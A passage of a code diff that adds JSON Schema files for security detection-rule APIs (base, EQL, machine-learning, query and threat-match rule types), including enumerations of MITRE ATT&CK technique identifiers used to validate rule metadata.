"T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "cardinality": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "type": "array" + }, + "field": { + "description": "CardinalityFields", + "items": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "maxItems": 3, + "type": "array" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "threshold", + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license", + "threshold" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.13/7.13.base.json b/etc/api_schemas/7.13/7.13.base.json new file mode 100644 index 000000000..b9fe17bff --- /dev/null +++ b/etc/api_schemas/7.13/7.13.base.json @@ -0,0 +1,313 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query", + "saved_query", + "machine_learning", + "eql", + "threshold", + "threat_match" + ], + "enumNames": [], + "type": "string" + } + }, + "required": [ + "author", + "description", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.13/7.13.eql.json b/etc/api_schemas/7.13/7.13.eql.json new file mode 100644 index 000000000..201330f4c --- /dev/null +++ b/etc/api_schemas/7.13/7.13.eql.json @@ -0,0 +1,318 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.13/7.13.machine_learning.json b/etc/api_schemas/7.13/7.13.machine_learning.json new file mode 100644 index 000000000..08b6eccdd --- /dev/null +++ b/etc/api_schemas/7.13/7.13.machine_learning.json @@ -0,0 +1,313 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "anomaly_threshold": { + "format": "integer", + "type": "number" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "type": "string" + }, + "machine_learning_job_id": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "anomaly_threshold", + "author", + "description", + "machine_learning_job_id", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.13/7.13.query.json b/etc/api_schemas/7.13/7.13.query.json new file mode 100644 index 000000000..a1af88e0e --- /dev/null +++ b/etc/api_schemas/7.13/7.13.query.json @@ -0,0 +1,323 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.13/7.13.threat_match.json b/etc/api_schemas/7.13/7.13.threat_match.json new file mode 100644 index 000000000..927bcebca --- /dev/null +++ b/etc/api_schemas/7.13/7.13.threat_match.json @@ -0,0 +1,411 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "concurrent_searches": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "items_per_search": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + 